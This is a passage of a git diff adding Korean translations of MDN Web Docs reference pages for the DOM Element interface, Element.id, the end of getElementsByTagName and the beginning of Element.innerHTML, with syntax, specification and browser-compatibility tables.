+ <td>No change from {{SpecName('DOM1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility_브라우저_호환성">Browser compatibility 브라우저 호환성</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0 [2]</td>
+ <td>{{ CompatVersionUnknown() }} [1]</td>
+ <td>5.5</td>
+ <td>{{ CompatVersionUnknown() }} [2]</td>
+ <td>{{ CompatVersionUnknown() }} [2]</td>
+ </tr>
+ <tr>
+ <td>getElementsByTagName("*")</td>
+ <td>1.0</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>6.0</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }} [1]</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Firefox 19, this method was returning a {{domxref("NodeList")}}; it was then changed to reflect the spec change.</p>
+
+<p>[1] Firefox 19 이전에는, 이 메서드는 {{domxref("NodeList")}};를 반환 했습니다. 그 후 사양의 변화를 반영하기 위해서 변경 되었습니다.</p>
+
+<p>[2] Initially, this method was returning a {{domxref("NodeList")}}; it was then changed to reflect the spec change.</p>
+
+<p>[2] 처음에는 이 메서드는 {{domxref("NodeList")}};를 반환 하였습니다. 그 후 사양의 변화를 반영하기 위해서 변경 되었습니다.</p>
diff --git a/files/ko/web/api/element/id/index.html b/files/ko/web/api/element/id/index.html
new file mode 100644
index 0000000000..9c9f343239
--- /dev/null
+++ b/files/ko/web/api/element/id/index.html
@@ -0,0 +1,67 @@
+---
+title: Element.id
+slug: Web/API/Element/id
+translation_of: Web/API/Element/id
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p><strong><code>Element.id</code></strong> 속성은 요소의 식별자를 나타내며, HTML의 전역적인 id 속성을 반영합니다.</p>
+
+<p>이 값은 도큐먼트 내에서 유일해야 하며, 종종 {{domxref("document.getElementById", "getElementById")}}를 사용하여 요소를 찾아내는데 사용됩니다. <code>id</code> 속성을 이용하는 다른 보편적인 방법에는 <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>로 도큐먼트를 스타일링 할때 <a href="/en-US/docs/Web/CSS/ID_selectors" title="Web/CSS/ID_selectors">ID를 선택자로 사용</a>하는 방법이 있습니다. </p>
+
+<div class="note">
+<p><strong>Note</strong>: 식별자는 대소문자를 구분하지만, 그래도 ID를 대소문자만 다르게 생성해서는 안됩니다.  (<a href="/en-US/docs/Case_Sensitivity_in_class_and_id_Names" title="Case_Sensitivity_in_class_and_id_Names">클래스명과 식별자에서의 대소문자 구분</a>참고).</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>idStr</em> = <em>elt</em>.id; // 아이디를 가져옵니다.
+<em>elt</em>.id = <em>idStr; // 아이디를 부여합니다</em>
+</pre>
+
+<ul>
+ <li><em><code>idStr</code></em>는 요소의 식별자입니다.</li>
+</ul>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-element-id', 'id')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>No change from {{SpecName('DOM2 HTML')}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-63534901', 'id')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td>No change from {{SpecName('DOM1')}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-html.html#ID-63534901', 'id')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Element.id")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The DOM <a href="/en-US/docs/Web/HTML/Global_attributes/id"><strong>id</strong></a> global attribute.</li>
+</ul>
diff --git a/files/ko/web/api/element/index.html b/files/ko/web/api/element/index.html
new file mode 100644
index 0000000000..daaf1d7742
--- /dev/null
+++ b/files/ko/web/api/element/index.html
@@ -0,0 +1,306 @@
+---
+title: Element
+slug: Web/API/Element
+tags:
+ - API
+ - DOM
+ - Element
+ - Interface
+ - Reference
+translation_of: Web/API/Element
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Element</code></strong>는 {{domxref("Document")}} 안의 모든 객체가 상속하는 제일 범용적인 기반 클래스로 공통 메서드와 속성만 가지고 있으며, 특정 요소를 더 상세하게 표현하는 클래스가 <code>Element</code>를 상속합니다. 예를 들어 {{domxref("HTMLElement")}} 인터페이스는 HTML 요소의 기반 인터페이스이고 {{domxref("SVGElement")}} 인터페이스는 모든 SVG 요소의 기초입니다.</p>
+
+<p>XUL의 <code>XULElement</code>처럼 웹 플랫폼 밖에서도 <code>Element</code>를 구현합니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<p><em>부모 인터페이스인 {{domxref("Node")}}와 그 부모인 {{domxref("EventTarget")}}의 속성을 상속합니다. {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, {{domxref("NonDocumentTypeChildNode")}}와 {{domxref("Animatable")}}의 속성을 구현합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Element.attributes")}} {{readOnlyInline}}</dt>
+ <dd>HTML 요소에 할당한 속성을 담은 {{domxref("NamedNodeMap")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("Element.classList")}} {{readOnlyInline}}</dt>
+ <dd>요소의 클래스 속성 리스트를 담은 {{domxref("DOMTokenList")}}를 반환합니다.</dd>
+ <dt>{{domxref("Element.className")}}</dt>
+ <dd>요소의 클래스를 나타내는 {{domxref("DOMString")}}을 반환합니다.</dd>
+ <dt>{{domxref("Element.clientHeight")}} {{readOnlyInline}}</dt>
+ <dd>요소의 안쪽 높이를 나타내는 {{jsxref("Number")}}를 반환합니다.</dd>
+ <dt>{{domxref("Element.clientLeft")}} {{readOnlyInline}}</dt>
+ <dd>요소의 왼쪽 테두리 너비를 나타내는 {{jsxref("Number")}}를 반환합니다.</dd>
+ <dt>{{domxref("Element.clientTop")}} {{readOnlyInline}}</dt>
+ <dd>요소의 위쪽 테두리 너비를 나타내는 {{jsxref("Number")}}를 반환합니다.</dd>
+ <dt>{{domxref("Element.clientWidth")}} {{readOnlyInline}}</dt>
+ <dd>요소의 안쪽 너비를 나타내는 {{jsxref("Number")}}를 반환합니다.</dd>
+ <dt>{{domxref("Element.computedName")}} {{readOnlyInline}}</dt>
+ <dd>요소가 노출하는 접근성 라벨을 포함한 {{domxref("DOMString")}}을 반환합니다.</dd>
+ <dt>{{domxref("Element.computedRole")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the ARIA role that has been applied to a particular element.</dd>
+ <dt>{{ domxref("Element.id") }}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the id of the element.</dd>
+ <dt>{{ domxref("Element.innerHTML") }}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the markup of the element's content.</dd>
+ <dt>{{ domxref("Element.localName") }} {{readOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing the local part of the qualified name of the element.</dd>
+ <dt>{{domxref("Element.namespaceURI")}} {{readonlyInline}}</dt>
+ <dd>The namespace URI of the element, or <code>null</code> if it is no namespace.
+ <div class="note">
+ <p><strong>참고:</strong> Firefox 3.5 이하에서는 HTML 요소가 네임스페이스에 속해있지 않습니다. 이후 버전에서는 HTML과 XML 트리 모두에서 <code><a href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> 네임스페이스를 사용합니다. {{ gecko_minversion_inline("1.9.2") }}</p>
+ </div>
+ </dd>
+ <dt>{{ domxref("NonDocumentTypeChildNode.nextElementSibling") }} {{readOnlyInline}}</dt>
+ <dd>Is an {{ domxref("Element") }}, the element immediately following the given one in the tree, or <code>null</code> if there's no sibling node.</dd>
+ <dt>{{ domxref("Element.outerHTML") }}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the markup of the element including its content. When used as a setter, replaces the element with nodes parsed from the given string.</dd>
+ <dt>{{ domxref("Element.prefix") }} {{readOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing the namespace prefix of the element, or <code>null</code> if no prefix is specified.</dd>
+ <dt>{{ domxref("NonDocumentTypeChildNode.previousElementSibling") }} {{readOnlyInline}}</dt>
+ <dd>Is a {{ domxref("Element") }}, the element immediately preceding the given one in the tree, or <code>null</code> if there is no sibling element.</dd>
+ <dt>{{ domxref("Element.scrollHeight") }} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the scroll view height of an element.</dd>
+ <dt>{{ domxref("Element.scrollLeft") }}</dt>
+ <dd>Is a {{jsxref("Number")}} representing the left scroll offset of the element.</dd>
+ <dt>{{ domxref("Element.scrollLeftMax") }} {{non-standard_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the maximum left scroll offset possible for the element.</dd>
+ <dt>{{ domxref("Element.scrollTop") }}</dt>
+ <dd>A {{jsxref("Number")}} representing number of pixels the top of the document is scrolled vertically.</dd>
+ <dt>{{ domxref("Element.scrollTopMax") }} {{non-standard_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the maximum top scroll offset possible for the element.</dd>
+ <dt>{{ domxref("Element.scrollWidth") }} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the scroll view width of the element.</dd>
+ <dt>{{domxref("Element.shadowRoot") }}{{readOnlyInline}}</dt>
+ <dd>Returns the open shadow root that is hosted by the element, or null if no open shadow root is present.</dd>
+ <dt>{{domxref("Element.openOrClosedShadowRoot")}} {{non-standard_inline}}{{readOnlyInline}}</dt>
+ <dd>Returns the shadow root that is hosted by the element, regardless if its open or closed. <strong>Available only to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a>.</strong></dd>
+ <dt>{{domxref("Element.slot")}} {{experimental_inline}}</dt>
+ <dd>Returns the name of the shadow DOM slot the element is inserted in.</dd>
+ <dt>{{domxref("Element.tabStop")}} {{non-standard_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element can receive input focus via the tab key.</dd>
+ <dt>{{ domxref("Element.tagName") }} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("String")}} with the name of the tag for the given element.</dd>
+ <dt>{{ domxref("Element.undoManager")}} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns the {{domxref("UndoManager")}} associated with the element.</dd>
+ <dt>{{ domxref("Element.undoScope")}} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element is an undo scope host, or not.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> DOM Level 3 명세는 <code>namespaceURI</code>, <code>localName</code>, <code>prefix</code>를 {{domxref("Node")}}에 정의했고, DOM4에서 <code>Element</code>로 옮겨졌습니다.</p>
+
+<p>이 변경점은 Chrome 46.0과 Firefox 48.0부터 구현됐습니다.</p>
+</div>
+
+<h3 id="Slotable_속성"><code>Slotable</code> 속성</h3>
+
+<p><em><code>Element</code> 인터페이스는 {{domxref("Slotable")}} 믹스인에 정의된 다음 속성을 가집니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Slotable.assignedSlot")}}{{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("HTMLSlotElement")}} representing the {{htmlelement("slot")}} the node is inserted in.</dd>
+</dl>
+
+<h3 id="Handlers" name="Handlers">이벤트 처리기</h3>
+
+<dl>
+ <dt>{{domxref("Element.ongotpointercapture")}}</dt>
+ <dd>Returns the event handler for the {{event("gotpointercapture")}} event type.</dd>
+ <dt>{{domxref("Element.onlostpointercapture")}}</dt>
+ <dd>Returns the event handler for the {{event("lostpointercapture")}} event type.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<p><em>부모 인터페이스인 {{domxref("Node")}}와 그 부모인 {{domxref("EventTarget")}}의 메서드를 상속합니다. {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, {{domxref("NonDocumentTypeChildNode")}}와 {{domxref("Animatable")}}의 메서드를 구현합니다.</em></p>
+
+<dl>
+ <dt>{{ domxref("EventTarget.addEventListener()") }}</dt>
+ <dd>Registers an event handler to a specific event type on the element.</dd>
+ <dt>{{domxref("Element.attachShadow()")}}</dt>
+ <dd>Attatches a shadow DOM tree to the specified element and returns a reference to its {{domxref("ShadowRoot")}}.</dd>
+ <dt>{{domxref("Element.animate()")}} {{experimental_inline}}</dt>
+ <dd>A shortcut method to create and run an animation on an element. Returns the created Animation object instance.</dd>
+ <dt>{{ domxref("Element.closest()")}} {{experimental_inline}}</dt>
+ <dd>Returns the {{domxref("Element")}} which is the closest ancestor of the current element (or the current element itself) which matches the selectors given in parameter.</dd>
+ <dt>{{ domxref("Element.createShadowRoot()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Creates a <a href="https://developer.mozilla.org/en-US/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a> on on the element, turning it into a shadow host. Returns a {{domxref("ShadowRoot")}}.</dd>
+ <dt>{{domxref("Element.computedStyleMap()")}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("StylePropertyMapReadOnly")}} interface which provides a read-only representation of a CSS declaration block that is an alternative to {{domxref("CSSStyleDeclaration")}}.</dd>
+ <dt>{{ domxref("EventTarget.dispatchEvent()") }}</dt>
+ <dd>Dispatches an event to this node in the DOM and returns a {{jsxref("Boolean")}} that indicates whether no handler canceled the event.</dd>
+ <dt>{{domxref("Element.getAnimations()")}} {{experimental_inline}}</dt>
+ <dd>Returns an array of Animation objects currently active on the element.</dd>
+ <dt>{{ domxref("Element.getAttribute()") }}</dt>
+ <dd>Retrieves the value of the named attribute from the current node and returns it as an {{jsxref("Object")}}.</dd>
+ <dt>{{ domxref("Element.getAttributeNames()") }}</dt>
+ <dd>Returns an array of attribute names from the current element.</dd>
+ <dt>{{ domxref("Element.getAttributeNS()") }}</dt>
+ <dd>Retrieves the value of the attribute with the specified name and namespace, from the current node and returns it as an {{jsxref("Object")}}.</dd>
+ <dt>{{ domxref("Element.getBoundingClientRect()") }}</dt>
+ <dd>Returns the size of an element and its position relative to the viewport.</dd>
+ <dt>{{ domxref("Element.getClientRects()") }}</dt>
+ <dd>Returns a collection of rectangles that indicate the bounding rectangles for each line of text in a client.</dd>
+ <dt>{{ domxref("Element.getElementsByClassName()") }}</dt>
+ <dd>Returns a live {{ domxref("HTMLCollection") }} that contains all descendants of the current element that possess the list of classes given in the parameter.</dd>
+ <dt>{{ domxref("Element.getElementsByTagName()") }}</dt>
+ <dd>Returns a live {{ domxref("HTMLCollection") }} containing all descendant elements, of a particular tag name, from the current element.</dd>
+ <dt>{{ domxref("Element.getElementsByTagNameNS()") }}</dt>
+ <dd>Returns a live {{ domxref("HTMLCollection") }} containing all descendant elements, of a particular tag name and namespace, from the current element.</dd>
+ <dt>{{ domxref("Element.hasAttribute()") }}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute or not.</dd>
+ <dt>{{ domxref("Element.hasAttributeNS()") }}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute, in the specified namespace, or not.</dd>
+ <dt>{{ domxref("Element.hasAttributes()") }}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has one or more HTML attributes present.</dd>
+ <dt>{{DOMxRef("Element.hasPointerCapture()")}}</dt>
+ <dd>Indicates whether the element on which it is invoked has pointer capture for the pointer identified by the given pointer ID.</dd>
+ <dt>{{ domxref("Element.insertAdjacentElement()") }}</dt>
+ <dd>Inserts a given element node at a given position relative to the element it is invoked upon.</dd>
+ <dt>{{ domxref("Element.insertAdjacentHTML()") }}</dt>
+ <dd>Parses the text as HTML or XML and inserts the resulting nodes into the tree in the position given.</dd>
+ <dt>{{ domxref("Element.insertAdjacentText()") }}</dt>
+ <dd>Inserts a given text node at a given position relative to the element it is invoked upon.</dd>
+ <dt>{{ domxref("Element.matches()") }} {{experimental_inline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating whether or not the element would be selected by the specified selector string.</dd>
+ <dt>{{ domxref("Element.querySelector()") }}</dt>
+ <dd>Returns the first {{ domxref("Node") }} which matches the specified selector string relative to the element.</dd>
+ <dt>{{ domxref("Element.querySelectorAll()") }}</dt>
+ <dd>Returns a {{ domxref("NodeList") }} of nodes which match the specified selector string relative to the element.</dd>
+ <dt>{{ domxref("Element.releasePointerCapture()")}}</dt>
+ <dd>Releases (stops) pointer capture that was previously set for a specific {{domxref("PointerEvent","pointer event")}}.</dd>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>Removes the element from the children list of its parent.</dd>
+ <dt>{{ domxref("Element.removeAttribute()") }}</dt>
+ <dd>Removes the named attribute from the current node.</dd>
+ <dt>{{ domxref("Element.removeAttributeNS()") }}</dt>
+ <dd>Removes the attribute with the specified name and namespace, from the current node.</dd>
+ <dt>{{ domxref("EventTarget.removeEventListener()") }}</dt>
+ <dd>Removes an event listener from the element.</dd>
+ <dt>{{ domxref("Element.requestFullscreen()") }} {{experimental_inline}}</dt>
+ <dd>Asynchronously asks the browser to make the element full-screen.</dd>
+ <dt>{{ domxref("Element.requestPointerLock()")}} {{experimental_inline}}</dt>
+ <dd>Allows to asynchronously ask for the pointer to be locked on the given element.</dd>
+ <dt>{{domxref("Element.scroll()")}}</dt>
+ <dd>Scrolls to a particular set of coordinates inside a given element.</dd>
+ <dt>{{domxref("Element.scrollBy()")}}</dt>
+ <dd>Scrolls an element by the given amount.</dd>
+</dl>
+
+<dl>
+ <dt>{{ domxref("Element.scrollIntoView()") }} {{experimental_inline}}</dt>
+ <dd>Scrolls the page until the element gets into the view.</dd>
+ <dt>{{ domxref("Element.scrollTo()") }}</dt>
+ <dd>Scrolls to a particular set of coordinates inside a given element.</dd>
+ <dt>{{ domxref("Element.setAttribute()") }}</dt>
+ <dd>Sets the value of a named attribute of the current node.</dd>
+ <dt>{{ domxref("Element.setAttributeNS()") }}</dt>
+ <dd>Sets the value of the attribute with the specified name and namespace, from the current node.</dd>
+ <dt>{{ domxref("Element.setCapture()") }} {{non-standard_inline}}</dt>
+ <dd>Sets up mouse event capture, redirecting all mouse events to this element.</dd>
+ <dt>{{domxref("Element.setPointerCapture()")}}</dt>
+ <dd>Designates a specific element as the capture target of future <a href="https://developer.mozilla.org/en-US/docs/Web/API/Pointer_events">pointer events</a>.</dd>
+ <dt>{{domxref("Element.toggleAttribute()")}}</dt>
+ <dd>Toggles a boolean attribute, removing it if it is present and adding it if it is not present, on the specified element.</dd>
+</dl>
+
+<p> </p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Web Animations", '', '')}}</td>
+ <td>{{Spec2("Web Animations")}}</td>
+ <td>Added the <code>getAnimationPlayers()</code> method.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Undo Manager', '', 'Element')}}</td>
+ <td>{{Spec2('Undo Manager')}}</td>
+ <td>Added the <code>undoScope</code> and <code>undoManager</code> properties.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Pointer Events', '#extensions-to-the-element-interface', 'Element')}}</td>
+ <td>{{Spec2('Pointer Events')}}</td>
+ <td>Added the following event handlers: <code>ongotpointercapture</code> and <code>onlostpointercapture</code>.<br>
+ Added the following methods: <code>setPointerCapture()</code> and <code>releasePointerCapture()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Selectors API Level 2', '#interface-definitions', 'Element')}}</td>
+ <td>{{Spec2('Selectors API Level 2')}}</td>
+ <td>Added the following methods:<code> matches()</code> (implemented as <code>mozMatchesSelector()</code>), <code>find()</code>, <code>findAll()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Selectors API Level 1', '#interface-definitions', 'Element')}}</td>
+ <td>{{Spec2('Selectors API Level 1')}}</td>
+ <td>Added the following methods: <code>querySelector()</code> and <code>querySelectorAll()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Pointer Lock', 'index.html#element-interface', 'Element')}}</td>
+ <td>{{Spec2('Pointer Lock')}}</td>
+ <td>Added the <code>requestPointerLock()</code> method.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fullscreen', '#api', 'Element')}}</td>
+ <td>{{Spec2('Fullscreen')}}</td>
+ <td>Added the <code>requestFullscreen()</code> method.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM Parsing', '#extensions-to-the-element-interface', 'Element')}}</td>
+ <td>{{Spec2('DOM Parsing')}}</td>
+ <td>Added the following properties: <code>innerHTML</code>, and <code>outerHTML</code>.<br>
+ Added the following method: <code>insertAdjacentHTML()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSSOM View', '#extensions-to-the-element-interface', 'Element')}}</td>
+ <td>{{Spec2('CSSOM View')}}</td>
+ <td>Added the following properties: <code>scrollTop</code>, <code>scrollLeft</code>, <code>scrollWidth</code>, <code>scrollHeight</code>, <code>clientTop</code>, <code>clientLeft</code>, <code>clientWidth</code>, and <code>clientHeight</code>.<br>
+ Added the following methods: <code>getClientRects()</code>, <code>getBoundingClientRect()</code>, and <code>scrollIntoView()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Element Traversal', '#ecmascript-bindings', 'Element')}}</td>
+ <td>{{Spec2('Element Traversal')}}</td>
+ <td>Added inheritance of the {{domxref("ElementTraversal")}} interface.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#interface-element', 'Element')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Removed the following methods: <code>closest()</code>, <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code>, and <code>setIdAttributeNode()</code>.<br>
+ Removed the <code>schemaTypeInfo</code> property.<br>
+ Modified the return value of <code>getElementsByTag()</code> and <code>getElementsByTagNS()</code>.<br>
+ Moved <code>hasAttributes()</code> form the <code>Node</code> interface to this one.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core', 'core.html#ID-745549614', 'Element')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>Added the following methods: <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code>, and <code>setIdAttributeNode()</code>. These methods were never implemented and have been removed in later specifications.<br>
+ Added the <code>schemaTypeInfo</code> property. This property was never implemented and has been removed in later specifications.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core', 'core.html#ID-745549614', 'Element')}}</td>
+ <td>{{Spec2('DOM2 Core')}}</td>
+ <td>The <code>normalize()</code> method has been moved to {{domxref("Node")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-core.html#ID-745549614', 'Element')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Element")}}</p>
diff --git a/files/ko/web/api/element/innerhtml/index.html b/files/ko/web/api/element/innerhtml/index.html
new file mode 100644
index 0000000000..6b9e4ce73c
--- /dev/null
+++ b/files/ko/web/api/element/innerhtml/index.html
@@ -0,0 +1,204 @@
+---
+title: Element.innerHTML
+slug: Web/API/Element/innerHTML
+translation_of: Web/API/Element/innerHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("Element")}} 속성(property) <strong><code>innerHTML</code></strong> 은 요소(element) 내에 포함 된 HTML 또는 XML 마크업을 가져오거나 설정합니다.</span></p>
+
+<div class="note"><strong>주의: </strong>{{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("noembed")}} 노드가 (&amp;), (&lt;), (&gt;) 문자를 포함하는 텍스트 노드를 자식으로 가지고 있다면, <code>innerHTML</code>은 이러한 문자들을 각각 <code>"&amp;amp;"</code>, <code>"&amp;lt;"</code> ,<code>"&amp;gt;"</code>로 반환합니다. {{domxref("Node.textContent")}}를 사용하여 이러한 텍스트 노드 내용의 원본을 복사할 수 있습니다.</div>
+
+<p>요소(element)의 내용을 변경하는 대신 HTML을 문서(document)에 삽입하려면, {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}} 메서드를 사용하십시오.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">const <var>content</var> = <var>element</var>.innerHTML;
+
+<var>element</var>.innerHTML = <var>htmlString</var>;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>요소(element)의 자손의 HTML 직렬화를 포함하는 {{domxref("DOMString")}} 입니다. Setting the value of <code>innerHTML</code> 의 값을 설정(대입)하면 요소의 모든 자손이 제거되고, 문자열 htmlString에 지정된 HTML을 파싱하고, 생성된 노드로 대체합니다.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>HTML의 양식에 맞지 않는 문자열을 사용하여, <code>innerHTML</code> 의 값을 설정하려는 시도가 있었습니다.</dd>
+ <dt><code>NoModificationAllowedError</code></dt>
+ <dd>부모가 {{domxref("Document")}}인 노드에 HTML을 삽입하려고 했습니다.</dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p><code>innerHTML</code> 속성(property)은 페이지가 처음 로드 된 이후의 모든 변경 사항을 포함하여, 페이지의 현재 HTML 소스를 검사하는데 사용할 수 있습니다.</p>
+
+<h3 id="Reading_the_HTML_contents_of_an_element">Reading the HTML contents of an element</h3>
+
+<p><code>innerHTML</code> 를 읽으면 유저 에이전트(user agent)가 요소의 자손으로 구성된 HTML 또는 XML조각을 직렬화 합니다. 그 결과는 문자열로 반환합니다.</p>
+
+<pre class="brush: js">let contents = myElement.innerHTML;</pre>
+
+<p>이를 통해 요소의 컨텐트 노드에 대한 HTML 마크업을 볼 수 있습니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> 반환 된 HTML, XML 파편은 요소의 현재 내용일 기반으로 생성됩니다. 따라서 반환 된 마크업과 양식이 본래의 페이지 마크업과 일치하지 않을 수 있습니다.</p>
+</div>
+
+<h3 id="Replacing_the_contents_of_an_element">Replacing the contents of an element</h3>
+
+<p><code>innerHTML</code> 값을 설정하면 요소의 기존 내용(content)을 새 내용으로 쉽게 변경할 수 있습니다.</p>
+
+<p>예를 들어, 문서(document)의 {{domxref("Document.body", "body")}} 속성(attribute)을 지우면, 문서의 전체 내용을 지울 수 있습니다.</p>
+
+<pre class="brush: js">document.body.innerHTML = "";</pre>
+
+<p>이 예제는 문서의 현재 HTML 마크업을 가져오고, <code>"&lt;"</code> 문자를 HTML 엔터티 <code>"&amp;lt;"</code> 로 대체하합니다. 그러면 HTML을 원시 텍스트(raw text - 파싱 이전의 모습)로 반환합니다. 이것을 {{HTMLElement("pre")}} 요소로 래핑합니다. 그러면 <code>innerHTML</code> 값은 새 문자열로 변경됩니다. 그 결과, 문서의 내용은 페이지의 전체 소스 코드의 출력으로 대체됩니다.</p>
+
+<pre class="brush: js">document.documentElement.innerHTML = "&lt;pre&gt;" +
+ document.documentElement.innerHTML.replace(/&lt;/g,"&amp;lt;") +
+ "&lt;/pre&gt;";</pre>
+
+<h4 id="Operational_details">Operational details</h4>
+
+<p><code>innerHTML</code> 값을 설정할 때, 정확히 어떤 일이 발생하나요? 값을 설정하면, 유저 에이전트는 다음 단계를 따르게 됩니다.</p>
+
+<ol>
+ <li>지정한 값은 HTML 또는 XML(문서 타입에 따라)로 파싱되어, {{domxref("DocumentFragment")}} 객체가 새 요소에 대한 새로운 노드 DOM 노드 집합을 나타냅니다.</li>
+ <li>내용이 대체되는 요소가 {{HTMLElement("template")}} 요소 인 경우, <code>&lt;template&gt;</code> 요소의 {{domxref("HTMLTemplateElement.content", "content")}} 속성(attribute)은 1단계에서 작성한 새  <code>DocumentFragment</code> 로 대체됩니다.</li>
